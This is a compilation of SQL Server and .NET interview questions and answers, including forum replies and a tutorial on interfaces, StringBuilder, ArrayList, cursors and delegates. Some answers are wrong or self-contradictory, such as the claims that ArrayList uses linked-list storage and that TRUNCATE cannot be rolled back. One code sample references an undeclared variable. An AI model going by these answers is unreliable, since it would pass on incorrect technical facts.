Asked in : Verizon, TCS, Cognizant
view comments
7 people rated this as good.
What are the functions of DBMS?
- Data Definition
- Data Manipulation
- Data Security and Integrity
- Data Recovery and Concurrency
- Data Dictionary
- Performance
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:39 PM

SQL Server

Asked in : Accenture, TCS
view comments
9 people rated this as good.
Difference between DBMS and RDBMS
A DBMS has to be persistent, that is it should be accessible when the program created the data ceases to exist or
even the application that created the data restarted. A DBMS also has to provide some uniform methods independent
of a specific application for accessing the information that is stored. RDBMS is a Relational Data Base Management
System Relational DBMS. This adds the additional condition that the system supports a tabular structure for the
data, with enforced relationships between the tables. This excludes the databases that don't support a tabular
structure or don't enforce relationships between tables. Many DBA's think that RDBMS is a Client Server Database
system but thats not the case with RDBMS.
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:34 PM

SQL Server

Asked in : TCS
view comments
8 people rated this as good.
How many types of relationship exists in Database designing?
1. One to One
2. One to Many
3. Many to Many
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:34 PM

SQL Server

Asked in : TCS
view comments
5 people rated this as good.
What is the purpose of using SET ANSI NULLS ON?
The purpose of using SET ANSI_NULLS ON to follow the ISO Standard. According to this = and <> should not be
used for null comparison. Instead we use null and is not null how ever if you will use = null it will return zero rows.
If we want to use = or <> for null comparison use SET ANSI_NULLS OFF it means do not follow ISO Standard.
SET ANSI_NULLS should be set to ON for executing distributed queries for maintaining compatibility of queries
across Servers.
Expertise Level : Basic
Posted Date : 1/22/2014 3:22:50 AM

SQL Server

Asked in : TCS
view comments
5 people rated this as good.
What is the use of SET NOCOUNT ON?
When we use SELECT and DML statement in SQL. SQL server return a message which specify the number of rows
effected by these statements. This information helps coder when they are debugging the code other wise this is not
useful we can disable this by typing SET NOCOUNT ON. It is very helpful when we are doing on store procedure
contains lots of statements, loops its also increase in performance and boost network traffic.
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:49 PM

SQL Server

Asked in : Verizon, TCS
view comments
6 people rated this as good.
What are the differences between SQL and PL/SQL?
We can get modify, Retrieve by single command or statement in SQL but PL/SQL process all SQL statements one
at a time. With PL/SQL, an entire block of statement process in a single command line. SQL is structured query
language, various queries are used to handle the database in a simplified manner. While PL/SQL is procedural
language contains various types of variables, functions and procedures and other major diffrence is Sql as the name
suggest it is just structured query language wheareas PLSQL is a combination of Programming language & SQL.
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:09 PM

SQL Server

Asked in : TCS
view comments
6 people rated this as good.
How to get number of Maximum connection can be establish to SQL?
select @@MAX_Connections
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:50 PM

SQL Server

Asked in : TCS
view comments
6 people rated this as good.
What is Extent and Page in SQL?
Extent is a basic unit of storage to provide space for tables. Every extent has number of data pages. As new records
are inserted new data pages are allocated. There are eight data pages in an extent. So as soon as the eight pages are
consumed it allocates new extent with data pages.
While extent is basic unit storage from database point of view, page is a unit of allocation within extent.
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:04 PM

SQL Server

Asked in : TCS
view comments
5 people rated this as good.
What are SQL Statements?
Types:
1. Data Retrieval
Example : SELECT
2. Data Manipulation Language (DML)
Example : INSERT, UPDATE, DELETE
3. Data Definition Language (DDL)
Example : CREATE, ALTER, DROP, RENAME, TRUNCATE
4. Transaction Control Language (TCL)
Example : COMMIT, ROLLBACK, SAVEPOINT
5. Data Control Language (DCL)
Example : GRANT, REVOKE
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:59 PM

SQL Server

Asked in : IBM, Accenture, Verizon, ABCO, TCS, Cognizant
view comments
5 people rated this as good.
What is a DDL, DML and DCL concept?
DDL (Data definition language) defines your database structure. CREATE and ALTER are DDL statements as they
affect the way your database structure is organized.
DML (Data Manipulation Language) lets you do basic functionalities like INSERT, UPDATE, DELETE and
MODIFY data in database.
DCL (Data Control Language) controls you DML and DDL statements so that your data is protected and has
consistency. COMITT and ROLLBACK are DCL control statements. DCL guarantees ACID fundamentals of a
transaction.
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:55 PM

SQL Server

Asked in : IBM, Accenture, Verizon, ABCO, TCS, Cognizant
view comments
5 people rated this as good.
Difference between DELETE and TRUNCATE.
- DELETE table can be rolled back while TRUNCATE can not be.
- DELETE TABLE syntax logs the deletes thus making the delete operations low. TRUNCATE table does not log
any information but it logs information about deallocation of data page of the table. So TRUNCATE table is faster
as compared to delete table.
- DELETE table can have criteria while TRUNCATE can not.
- TRUNCATE table can not have triggers.
Expertise Level : Basic
Posted Date : 1/21/2014 8:31:00 PM

SQL Server

Asked in : TCS, Cognizant
view comments
4 people rated this as good.
Difference between subquery and corelated subquery?
In a subquery first the the inner query will be executed then the outer query will be executed.
In corelated subquery the inner query refers to the outer query.
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:20 PM

SQL Server

Asked in : TCS
view comments
5 people rated this as good.
What are the differences between UNION and UNION ALL ?
UNION SQL syntax is used to select information from two tables. But it selects only distinct records from both the
table, while UNION ALL selects all records from both the tables.
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:40 PM

SQL Server

Asked in : TCS

Re: SQL interview questions and answers
What is the purpose of using SET ANSI NULLS ON?
The purpose of using SET ANSI_NULLS ON to follow the ISO Standard. Acording to this =
and <> should not be used for null comparison. Instead we use null and is not null how
ever if you will use = null it will return zero rows. If we want to use = or <> for null
comparison use SET ANSI_NULLS OFF it means do not follow ISO Standard. SET
ANSI_NULLS should be set to ON for executing distributed queries for maintaining
compatibility of queries across Servers.

Difference between cluster and non cluster index in sql?
A clustered index is a special type of index that reorders the way records in the table are
physically stored. Therefore table can have only one clustered index. The leaf nodes of a
clustered index contain the data pages.
A non clustered index is a special type of index in which the logical order of the index does
not match the physical stored order of the rows on disk. The leaf node of a non clustered
index does not consist of the data pages. Instead, the leaf nodes contain index rows.

Can we create non primary key as cluster index?
Yes we can do this on non-primary key column but that column must be unique and the
primary key column of that table must have non-clustered index because there is one
cluster index in table. By default primary key column contains clustered index so its
recommended to create such non-primary key clustered index column first and then should
create primary key column so in such case the primary key on that column will be with non-
clustered. But its highly recommended to create primary key column as a clustered indexed
column.

Can we call a Trigger in store procedure?
A Trigger is also a special kind of Stored Procedure which will fire automatically on the
happening of an event like before or after insert, update or delete. We cannot call a trigger
explicitly from a Stored Procedure.

Difference Between GETDATE and SYSDATETIME?
When we use GETDATE the precision is till miliseconds and in case of SYSDATETIME the
precision is till nanoseconds.

Get top two records without Top keyword.
[SQL]
set rowcount 2
select Column1, Column2 from TableName



Difference between Set and Select.
-Set is a ANSI standard for variable assignment. It assigns value to only one variable at a
time.
-Select is a Non-ANSI standard when assigning variables. It assigns multiple variable at a
time.
-When assigning from a query that returns more than one value, SET will fail with an error.
-When assigning from a query that returns more than one value, SELECT will assign the last
value returned by the query and hide the fact that the query returned more than one row.

How to get number of Maximum connection can be establish to SQL?
select @@MAX_Connections

Why we use SET ROWCOUNT in Sql?
This syntax is used in SQL Server to stop processing the query after the specified number of
rows are returned.

What are the Global Temporary Tables?
We can create global temporary tables but these are not using much in sql an the name of
these table start with two pound signs. For example, ##globaltbl is a global temporary
table. As the name suggest these table is Global temporary tables and visible to all SQL
Server connections. When we create any one of these all users can see it.

What is a View in SQL?
View is just a virtual table nothing else which is based or we can say develop with SQL
SELECT query.So we can say that its a real database table (it has columns and rows just
like a regular table),but one difference is that real tables store data, but views can''t. View
data is generated dynamically when the view is referenced. And view can also references
one or more existing database tables or other views. We can say that it is filter of database.

Why Group BY and Order By clause are so expensive?
Both Group By and Order By clause requires Temporary table to process the result of query
so these are expensive.

What is the use of SET NOCOUNT ON?
When we use SELECT and DML statement in SQL. SQL server return a message which
specify the number of rows effected by these statements. This information helps coder when
they are debugging the code other wise this is not useful we can disable this by typing SET
NOCOUNT ON. It is very helpful when we are doing on store procedure contains lots of
statements, loops its also increase in performance and boost network traffic.

What are the differences between SQL and PL/SQL?
We can get modify, Retrieve by single command or statement in SQL but PL/SQL process all
SQL statements one at a time. With PL/SQL, an entire block of statement process in a single
command line. SQL is structured query language, various queries are used to handle the
database in a simplified manner. While PL/SQL is procedural language contains various
types of variables, functions and procedures and other major diffrence is Sql as the name
suggest it is just structured query language wheareas PLSQL is a combination of
Programming language & SQL.

What is a join? List different types of joins
Joins are used in queries to explain how different tables are related. Joins also let you select
data from a table depending upon data from another table.
Types of joins:
-INNER JOIN
-OUTER JOIN (OUTER JOIN is further classified as LEFT OUTER JOINS, RIGHT OUTER JOINS
and FULL OUTER JOINS)
-CROSS JOINs

What is a Cursor?
Cursor is a database object used by applications to manipulate data in a set on a row-by-
row basis, instead of the typical SQL commands that operate on all the rows in the set at
one time. For example, you can use cursor to include a list of all user databases and make
multiple operations against each database by passing each database name as a variable.

Difference between stored procedure and user defined function
1>Procedure can return zero or n values whereas function can return one value which is
mandatory.
2>Procedures can have input, output parameters for it whereas functions can have only
input parameters.
3>Procedure allow select as well as DML statement in it whereas function allow only select
statement in it.
4>Functions can be called from procedure whereas procedures cannot be called from
function.
5>Exception can be handled by try-catch block in a procedure whereas try-catch block
cannot be used in a function.
6>We can go for transaction management in procedure whereas we can''t go in function.
7>Procedures can not be utilized in a select statement whereas function can be embedded
in a select statement.
Posted Posted Dt: 04-Jul-2012
5
Total Points:
By:
Hariharan
0

Re: SQL interview questions and answers
Below are few interview questions:

What is Extent and Page?
Extent is a basic unit of storage to provide space for tables. Every extent has number of
data pages. As new records are inserted new data pages are allocated. There are eight data
pages in an extent. So as soon as the eight pages are consumed it allocates new extent
with data pages.
While extent is basic unit storage from database point of view, page is a unit of allocation
within extent.

What are the types of JOIN used in SQL Server?
-Inner join
- Outer Join (Left outer join and right outer join)
- Self Join
- Cross Join

Whats the difference between UNION and UNION ALL ?
UNION SQL syntax is used to select information from two tables. But it selects only distinct
records from both the table, while UNION ALL selects all records from both the tables.

What is a cursor?
It is used to handle a set of data. Using cursors, you can loop through all the rows and
update data accordingly.

What are the steps involved in creating a cursor?
1. Declare Cursor
2. Open Cursor
3. Fetch the data''s
4. Operation
5. Close and Deallocate

How is the SUBSTR keyword used in SQL?
SUBSTR is used for string manipulation with column name, first position and string length
used as arguments.

What is a trigger? Write its syntax.
A Trigger is also a special kind of Stored Procedure which will fire automatically on the
happening of an event like before or after insert, update or delete. We cannot call a trigger
explicitly from a Stored Procedure.
[SQL]
CREATE TRIGGER TriggerName
ON TableName
AFTER INSERT | UPDATE | DELETE
AS
Query to be executed...
GO
Posted
By:
Hariharan
Posted Dt: 04-Jul-2012
5
0
Total Points:

Re: SQL interview questions and answers
Below are few sql server interview questions and answers.

What are CODD rules?
There are 12 rules that every DBMS should adhere in order to be true RDBMS. These rules
were laid by E.F.CODD in 1969.
1. Information Rule
2. Guaranteed access rule
3. Systematic treatment of null values
4. Dynamic on-line catalog based on the relational model
5. Comprehensive data sub-language Rule
6. View updating Rule
7. High-level insert, update and delete
8. Physical data independence
9. Logical data independence
10.Integrity independence
11.Distribution independence
12.Non-subversion Rule

How many types of relationship exists in Database designing?
1. One to One
2. One to Many
3. Many to Many

What is a DDL, DML and DCL concept?
DDL (Data definition language) defines your database structure. CREATE and ALTER are
DDL statements as they affect the way your database structure is organized.
DML (Data Manipulation Language) lets you do basic functionalities like INSERT, UPDATE,
DELETE and MODIFY data in database.
DCL (Data Control Language) controls you DML and DDL statements so that your data is
protected and has consistency. COMITT and ROLLBACK are DCL control statements. DCL
guarantees ACID fundamentals of a transaction.

Difference between DELETE and TRUNCATE.
- DELETE table can be rolled back while TRUNCATE can not be.
- DELETE TABLE syntax logs the deletes thus making the delete operations low. TRUNCATE
table does not log any information but it logs information about deallocation of data page of
the table. So TRUNCATE table is faster as compared to delete table.
- DELETE table can have criteria while TRUNCATE can not.
- TRUNCATE table can not have triggers.

What is a Cursor?
Cursor is a database object used by applications to manipulate data in a set on a row-by-
row basis, instead of the typical SQL commands that operate on all the rows in the set at
one time.

Thanks,
Priya
Posted
By:
Priya
Posted Dt: 04-Jul-2012
5
Total Points:
0

Re: SQL interview questions and answers
Difference between truncate and delete in sql server.
DELETE TABLE syntax logs the deletes thus make the delete operation slow. TRUNCATE
table does not log any information but it logs information about deallocation of data page of
the table so TRUNCATE table is faster as compared to delete table.
DELETE table can have criteria while TRUNCATE cannot.
TRUNCATE table does not invoke trigger.
TRUNCATE will reset any identity columns to the default seed value.
You cannot TRUNCATE a table that has any foreign key constraints. You will have to
remove the constraints, TRUNCATE the table, and re-apply the constraints.

Difference between where and having clause
SQL WHERE clause condition is tested against each and every row of data, while the SQL
HAVING clause condition is tested against the groups and/or aggregates specified in the
SQL GROUP BY clause and/or the SQL SELECT column list.
HAVING specifies a search condition for a group or an aggregate function used in SELECT
statement.
A HAVING clause is like a WHERE clause, but applies only to groups as a whole, whereas
the WHERE clause applies to individual rows. A query can contain both a WHERE clause and
a HAVING clause. The WHERE clause is applied first to the individual rows in the tables .
Only the rows that meet the conditions in the WHERE clause are grouped. The HAVING
clause is then applied to the rows in the result set. Only the groups that meet the HAVING
conditions appear in the query output. You can apply a HAVING clause only to columns that
also appear in the GROUP BY clause or in an aggregate function.

Difference between DBMS and RDBMS
A DBMS has to be persistent, that is it should be accessible when the program created the
data ceases to exist or even the application that created the data restarted. A DBMS also
has to provide some uniform methods independent of a specific application for accessing the
information that is stored. RDBMS is a Relational Data Base Management System Relational
DBMS. This adds the additional condition that the system supports a tabular structure for
the data, with enforced relationships between the tables. This excludes the databases that
don't support a tabular structure or don't enforce relationships between tables. Many DBA's
think that RDBMS is a Client Server Database system but thats not the case with RDBMS.
Posted
By:
Balaji
Posted Dt: 04-Jul-2012
5
0
Total Points:

Re: SQL interview questions and answers
What is a index in sql server?
An index is a physical structure containing pointers to the data. Indexes are created in an
existing table to locate rows more quickly and efficiently.
It is possible to create an index on one or more columns of a table, and each index is given
a name.
They are just used to speed up queries.
Drawbacks of Index:
- Any DML operation performed in the table will be slow since it has to update the index
pointers.


Difference between subquery and corelated subquery?
In a subquery first the the inner query will be executed then the outer query will be
executed.
In corelated subquery the inner query refers to the outer query.


What are Clustered & non Clustered Indexes
In clustered index table are physically stored. Only one clustered index. The leaf nodes of a
clustered index contain the data pages.
A non clustered index logical order of the index does not match the physical stored order of
the rows on disk. The leaf node of a non clustered index does not consist of the data pages.
Instead, the leaf nodes contain index rows


What are the types of joins in SQL Server?
INNER JOIN
LEFT OUTER JOIN
RIGHT OUTER JOIN
FULL OUTER JOIN
CROSS JOIN

Difference between delete and truncate in sql server.
The deletion of each row gets logged in the transaction log, which makes it slow deletes all
the rows in a table, but it wont log the deletion of each row, instead it logs the deallocation
of the data pages of the table, which makes it faster.

Thanks,
Posted
By:
Hariharan
Posted Dt: 04-Jul-2012
11
1
Total Points:

Re: SQL interview questions and answers
Difference between stored procedure and function
1) Procedure can return zero or n values whereas function can return one value which is
mandatory.
2) Procedures can have input, output parameters for it whereas functions can have only
input parameters.
3) Procedure allow select as well as DML statement in it whereas function allow only select
statement in it.
4) Functions can be called from procedure whereas procedures cannot be called from
function.
5) Exception can be handled by try-catch block in a procedure whereas try-catch block
cannot be used in a function.
6) We can go for transaction management in procedure whereas we can't go in function.
7) Procedures can not be utilized in a select statement whereas function can be embedded
in a select statement.


How to improve the performance of stored procedure in sql server?
1) Dont use temporary tables instead use CTE or table variable.
2) Use Inner Join instead of Sub Queries. Joining the indexed column would give us better
performance.
3) Check indexes in tables used. Try to avoid more non-clustered indexes as it impacts the
performance of DML statements.
4) Never use "SELECT * FROM TableName" Instead use "SELECT COL 1, COL 2 from
TableName"
5) Use Query Execution plan to check time taken for query to get executed.
6) Drop if any temporary tables created in the procedure
7) Try to avoid fetching or joining unnecessary tables.


What are the error functions used in SQL Try catch block?
TRYCATCH uses the following error functions to capture error information:
- ERROR_NUMBER() returns the error number.
- ERROR_MESSAGE() returns the complete text of the error message. The text includes the
values supplied for any substitutable parameters such as lengths, object names, or times.
- ERROR_SEVERITY() returns the error severity.
- ERROR_STATE() returns the error state number.
- ERROR_LINE() returns the line number inside the routine that caused the error.
- ERROR_PROCEDURE() returns the name of the stored procedure or trigger where the error
occurred.


What new indexes are introduced in SQL Server 2005 in comparison to 2000?
- Spatial
- XML


What are Cursors and their types? What type do you use most and which one is fast?
Cursor is a database object used by applications to manipulate data in a set on a row-by-
row basis, instead of the typical SQL commands that operate on all the rows in the set at
one time.
Types: FORWARD-ONLY, FAST-FORWARD or READ-ONLY cursors.
Fastest to slowest: Dynamic, Static, and Keyset.


Difference between DELETE & TRUNCATE statement? Which statement can be Rollbacked?
- With DELETE we can provide conditional WHERE clause to remove/delete specific rows,
which is not possible with TRUNCATE.
- TRUNCATE is faster than DELETE as Delete keeps log of each row it deletes in transaction
logs, but truncate keeps log of only de-allocated pages in transaction logs.
- Both statements can be rolled backed if provided in a transaction (BEGIN TRANS). If not
then none of them can be rollbacked.
- DELETE is DML just like INSERT, UPDATE, but TRANCATE is DDL, just like CREATE, ALTER,
DROP


What are the tools that could be used for SQL Query performance tuning?
Query Analyzer, Profiler, Index Wizard, Performance Monitor

Top Frequently Asked Questions in .Net Interview

1. What is the difference between an abstract class and interfaces?

Probably "Difference Between abstract Class and Interface" is the most frequent question being asked
in the .Net world. In this tutorial, I will explain the differences theoretically followed by code snippets.
Theoretically there are basically 5 differences between Abstract Classes and Interfaces as listed below.
1. A class can implement any number of interfaces but a subclass can at most use only one abstract
class.
2. An abstract class can have non-abstract methods (concrete methods) whereas all methods of
interfaces must be abstract.
3. An abstract class can declare or use any variables whereas an interface is not allowed to do so.

The following code compiles properly since no field declaration is in the interface.

interface TestInterface
{
int x = 4; // Filed Declaration in Interface
void getMethod();
string getName();
}

abstract class TestAbstractClass
{
int i = 4;
int k = 3;
public abstract void getClassName();
}

It will generate a compile time error as:

Error1- Interfaces cannot contain fields.

So we need to omit the Field Declaration to compile the code properly.

interface TestInterface
{
void getMethod();
string getName();
}
abstract class TestAbstractClass
{
int i = 4;
int k = 3;
public abstract void getClassName();
}


4. An abstract class can have a constructor declaration whereas an interface cannot.

So the following code will not compile:

interface TestInterface
{
// Constructor Declaration
public TestInterface()
{
}
void getMethod();
string getName();
}

abstract class TestAbstractClass
{
public TestAbstractClass()
{
}
int i = 4;
int k = 3;
public abstract void getClassName();
}

The code above will generate the compile time error:

Error 1-Interfaces cannot contain constructors

So we need to omit the constructor declaration from the interface to compile our code.

The following code compiles perfectly:

interface TestInterface
{
void getMethod();
string getName();
}

abstract class TestAbstractClass
{
public TestAbstractClass()
{
}
int i = 4;
int k = 3;
public abstract void getClassName();
}

5. An abstract class is allowed to have all access modifiers for all of its member declarations whereas
in an interface we cannot declare any access modifier (including public) since all the members of
an interface are implicitly public.

Note: here I am talking about the access specifiers of the member of interfaces and not about the
interface.

The following code will explain it better.

It is perfectly legal to provide an access specifier as Public (remember only public is allowed).

public interface TestInterface
{
void getMethod();
string getName();
}

The code above compiles perfectly.

It is not allowed to provide any access specifier to the members of the interface.

interface TestInterface
{
public void getMethod();
public string getName();
}

The code above will generate the compile time error:

Error 1: The modifier 'public' is not valid for this item.

But the best way of declaring an interface will be to avoid access specifiers on interfaces as well as
members of interfaces.

interface Test
{
void getMethod();
string getName();
}
2. What is the difference between overriding and overloading?

Overloading
In this approach we can define multiple methods with the same name changing their signature. In
other words different parameters
This can be performed within a class as well as within a child class
Doesn't require any permission from the parent for overloading its method in the child
Overriding
It is an approach of defining multiple methods with the same name and the same signature
This can be performed only under child classes
Requires an explicit permission from the parent to override its methods in the child
3. String Builder and String class

String

A string is a sequential collection of Unicode characters that represent text. String is a class that belongs
to the namespace System.String.

String concatenation can be done using the '+' opearator or the String.Concat method.

The String.Concat method concatenates one or more instances of a String.

Sample code

string string1 = "Today is " + DateTime.Now.ToString ("D") + ".";
Console.WriteLine (string1);

string string2 = "Hi " + "This is Jitendra ";
string2 += "SampathiRao.";
Console.WriteLine(string2);

StringBuilder

StringBuilder is a class that belongs to the namespace System.Text. This class cannot be inherited.

In StringBuilder we use the Append () method.

Sample code

StringBuilder number = new StringBuilder (10000);
for (int i = 0; i<1000; i++)
{
returnNumber.Append (i.ToString ());
}

So where do we use these classes?

The answer is for simple String manipulations we can use the String class. But when there are more string
manipulations it is better to use the StringBuilder class.

Why is the StringBuilder class better for more string manipulations instead of the String class?

The String object is immutable. Every time you use one of the methods in the System.String class, you
create a new string object in memory, that requires a new allocation of space for that new object. In
situations where you need to perform repeated modifications to a string, the overhead associated with
creating a new String object can be costly. The performance of the application might be degraded. So we
use StringBuilder in such cases.

A StringBuilder object is mutable. The System.Text.StringBuilder class can be used when you want to
modify a string without creating a new object. For example, using the StringBuilder class can boost
performance when concatenating many strings together in a loop.

Differences between String and StringBuilder
It belongs to String namespace It belongs to String.Text namespace
String object is immutable StringBuilder object is mutable
Assigning:
StringBuilder sbuild= new
StringBuilder("something important");
Assigning:
String s= "something important";
We can use the '+' operator or Concat method to
concatenate the strings.
We use the Append method.
When string concatenation is done, additional
memory will be allocated.
Here additional memory will only be allocated when
the string buffer capacity is exceeded.
4. What is the difference between array and array list?

Mirosoft.Net has many namespaces for many purposes. Among them the System.Collections is a very
important namespace in the programmer's perceptive. While coding, we look for classes that can reduce
manual operation. For instance if you want to sort the values in an array then you need to do the manual
operations. Here obviously we look for the classes that can automate the sorting by just calling a method.
In other words we can call this namespace as a utility namespace. Let us see the classes in this namespace.

Collection Classes

The System.Collections namespace has many classes for the individual purpose. We will discuss the
frequently used classes in this article.
ArrayList
BitArray
Stack
Queue
Comparer
HashTable
SortedList
ArrayList

The ArrayList is one of the important classes in the System.Collection namespace. We can say it is the next
generation of the Array in C#.

ArrayList is a dynamic array; it will increase the size of the storage location as required. It stores the value
as an object. The allocation of the ArrayList can be done through the TrimToSize property.

Methods
1 Add It will add the element as object in the ArrayList
2 AddRange It will add the collections of elements in the object as individual objects in the ArrayList
3 Clear It will clear the all objects in the ArrayList
4 BinarySearch It will return the position of the search object as integer value.
5 Insert It will insert the element in the specified location of the index in the ArrayList.
6 InsertRange It will insert the elements in the object as individual objects in the specified location.
7 Remove It will remove the given object in the first occurrence in the ArrayList.
8 RemoveAt It will remove the object as specified in the argument.
9 RemoveRange It will remove the set of objects in the ArrayList from the range specified.
10 Sort It will sort the elements in ascending order.
11 Reverse It will arrange the elements in the reverse order in the ArrayList.
12 GetEnumerator It will return the collection of objects in the ArrayList as an enumerator.
13 Contains It checks whether the objects exist.
Properties in the ArrayList
S.No
Property
Name
Description
1 Capcity
This property sets or gets the size of the ArrayList.
As you know it will increase the size of the storage as much as required. The default
size will be 16.
2 Count It returns the total number of elements in the ArrayList.
3 IsFixedSize It returns whether the ArrayList is fixed in size. It returns a Boolean value.
4 IsReadOnly It returns whether the ArrayList is Readyonly. It returns a Boolean value.
Advantages
An ArrayList is not a specific data type storage location, it stores everything as an object.
No need to do allocation and deallocation explicitly to store the data.
It has explicit sorting methods.
It can insert and delete the elements between positions in the ArrayList.
It can store the object as elements.
Disadvantages
ArrayList is not strongly typed. Type casting is necessary when retrieving the content. When we do
the type casting every time, it affects performance.
It uses the LinkedList storage approach, because if you insert or delete the specific position then it
must adjust forward/backward in the storage address.
Sometimes it leads to a runtime error. Consider an example in which we store the ids of the
employee in the arraylist and then we want to retrieve the element for some other operations.
Obviously we need to do type casting and when there is a string element then what will happen?
It will throw the error.
Differences between Array and ArrayList
Array ArrayList
Array uses the Vector array to store the
elements
ArrayList uses the LinkedList to store the elements.
Size of the Array must be defined until
redim is used (vb)
No need to specify the storage size.
Array is a specific data type storage ArrayList can store everything as an object.
No need to do the type casting Type casting must be done every time.
It will not lead to Runtime exception It leads to a run time error exception.
Element cannot be inserted or deleted in
between.
Elements can be inserted and deleted.
There are no built-in members to do
ascending or descending.
An ArrayList has many methods to do operations like Sort,
Insert, Remove, BinarySeacrh and so on.
Conclusion

So far we have seen the ArrayList and its members and properties. I hope that this has provided enough
of a practical idea about ArrayList. Next we will discuss the BitArray in the same collection class. If you
have any queries or further clarifications about ArrayList then please free to post your feedback and
corrections.

5. What are cursors and constraints ?

Cursors

A cursor is a database object that helps in accessing and manipulating data in a given result set.The main
advantage of cursors is that you can process data row-by-row.

A result set is defined as a collection of rows obtained from a SELECT statement that meet the criteria
specified in the WHERE clause.

Cursors, therefore, serve as a mechanism for applications to operate on a single row or a set of rows.
Cursors enable the processing of rows in the given result set in the following ways:
1. Allow specific rows to be retrieved from the result set.
2. Allow the current row in the result set to be modified.
3. Help navigate from the current row in the result set to a different row.
4. Allow data modified by other users to be visible in the result set.
Declare the cursor
Initialize the cursor
Open the cursor
Fetch each row until the status is 0
close the cursor
deallocate the cursor
/* Create two variables that would store the values returned by the fetch statement */

DECLARE @DepartmentName char(25)
DECLARE @DepartmentHead char(25)

/* Define the cursor that can be used to access the records of the table,row by row */

DECLARE curDepartment cursor for
SELECT vDepartmentName,vDepartmentHead from Department

-- Open the cursor

OPEN curDepartment

-- Fetch the rows into variables

FETCH curDepartment into @DepartmentName,@DepartmentHead

--Start a loop to display all the rows of the cursor

WHILE(@@fetch_status=0)
BEGIN
Print 'Department Name =' + @DepartmentName
Print 'Department Head =' + @DepartmentHead

--Fetch the next row from the cursor
FETCH curDepartment into @DepartmentName,@DepartmentHead
END
-- Close the cursor
CLOSE curDepartment
-- Deallocate the cursor
DEALLOCATE curDepartment

The following are various types of cursors available in SQL Server 2005:
1. Base table
2. Static
3. Forward-only
4. Forward-only/Read-only
5. Keyset-driven
Base table: Base table cursors are the lowest level of cursor available. Base table cursors can scroll forward
or backward with minimal cost, and can be updated
Static: Cursors can move to any record but the changes on the data can't be seen.
Dynamic: Most resource-intensive. Cursors can move anywhere and all the changes on the data can be
viewed.
Forward-only: The cursor moves forward but can't move backward.
Keyset-driven: Only updated data can be viewed, deleted and inserted data cannot be viewed.

Constraint

SQL Constraints

SQL constraints are used to specify rules for the data in a table.

If there is any violation between the constraint and the data action, the action is aborted by the constraint.

Constraints can be specified when the table is created (inside the CREATE TABLE statement) or after the
table is created (inside the ALTER TABLE statement).

SQL CREATE TABLE + CONSTRAINT Syntax:

CREATE TABLE table_name
(
column_name1 data_type(size) constraint_name,
column_name2 data_type(size) constraint_name,
column_name3 data_type(size) constraint_name,
....
);

In SQL, we have the following constraints:
NOT NULL: Indicates that a column cannot store a NULL value
UNIQUE: Ensures that each row for a column must have a unique value
PRIMARY KEY: A combination of a NOT NULL and UNIQUE. Ensures that a column (or
combination of two or more columns) have a unique identity that helps to find a specific record in
a table more easily and quickly
FOREIGN KEY: Ensures the referential integrity of the data in one table to match values in another
table
CHECK: Ensures that the value in a column meets a specific condition
DEFAULT: Specifies a default value when none is specified for this column
6. What are the differences among foreign, primary, and unique keys

While unique and primary keys both enforce uniqueness on the column(s) of one table, foreign keys
define a relationship between two tables. A foreign key identifies a column or group of columns in one
(referencing) table that refers to a column or group of columns in another (referenced) table; in our
example above, the Employee table is the referenced table and the Employee Salary table is the
referencing table.

7. Difference Between SCOPE_IDENTITY() and @@IDENTITY

@@IDENTITY: Returns the last identity values that were generated in any table in the current session.
@@IDENTITY is not limited to a specific scope.
SCOPE_IDENTITY(): Returns the last identity values that are generated in any table in the current session.
SCOPE_IDENTITY returns values inserted only within the current scope.

8. Delegates and Events

The delegate topic seems to be confusing and tough for most developers. This article explains the basics
of delegates and event handling in C# in a simple manner.

A delegate is one of the base types in .NET. Delegate is a class to create delegates at runtime.

A delegate in C# is similar to a function pointer in C or C++. It's a new type of object in C#. A delegate is a
very special type of object since earlier the entire the object was used to defined contained data but a
delegate just contains the details of a method.

The need for delegates

There might be a situation in which you want to pass methods around to other methods. For this purpose
we create delegates.

A delegate is a class that encapsulates a method signature. Although it can be used in any context, it
often serves as the basis for the event-handling model in C# but can be used in a context removed from
event handling (for example passing a method to a method through a delegate parameter).

One good way of understanding delegates is by thinking of a delegate as something that gives a name to
a method signature.

Example

public delegate int DelegateMethod(int x, int y);

Any method that matches the delegate's signature, that consists of the return type and parameters, can
be assigned to the delegate. This makes is possible to programmatically change method calls, and also
plug new code into existing classes. As long as you know the delegate's signature, you can assign your
own-delegated method.

This ability to refer to a method as a parameter makes delegates ideal for defining callback methods.

Delegate magic

In a class we create its object, that is an instance, but in a delegate when we create an instance it is also
referred to as a delegate (in other words whatever you do, you will get a delegate).

A delegate does not know or care about the class of the object that it references. Any object will do; all
that matters is that the method's argument types and return type match the delegate's. This makes
delegates perfectly suited for "anonymous" invocation.

Benefit of delegates

In simple words delegates are object oriented and type-safe and very secure since they ensure that the
signature of the method being called is correct. Delegates help in code optimization.

Types of delegates
1. Singlecast delegates
2. Multiplecast delegates
A delegate is a class. Any delegate is inherited from the base delegate class of the .NET class library when
it is declared. This can be from either of the two classes System.Delegate or System.MulticastDelegate.

Singlecast delegate

a Singlecast delegate points to a single method at a time. In this the delegate is assigned to a single
method at a time. They are derived from the System.Delegate class.

Multicast Delegate

When a delegate is wrapped with more than one method then that is known as a multicast delegate.

In C#, delegates are multicast, which means that they can point to more than one function at a time. They
are derived from the System.MulticastDelegate class.

There are three steps in defining and using delegates:

1. Declaration

To create a delegate, you use the delegate keyword.

[attributes] [modifiers] delegate ReturnType Name ([formal-parameters]);

The attributes factor can be a normal C# attribute.

The modifier can be one, or an appropriate combination, of the following keywords: new, public, private,
protected, or internal.

The ReturnType can be any of the data types we have used so far. It can also be a type void or the name
of a class.

"Name" must be a valid C# name.

Because a delegate is some type of a template for a method, you must use parentheses, required for
every method. If this method will not take any arguments then leave the parentheses empty.

Example

public delegate void DelegateExample();

The code piece defines a delegate DelegateExample() that has a void return type and accepts no
parameters.

2. Instantiation

DelegateExample d1 = new DelegateExample(Display);

The preceding code piece shows how the delegate is initiated.

3. Invocation

d1();

The preceding code piece invokes the delegate d1().

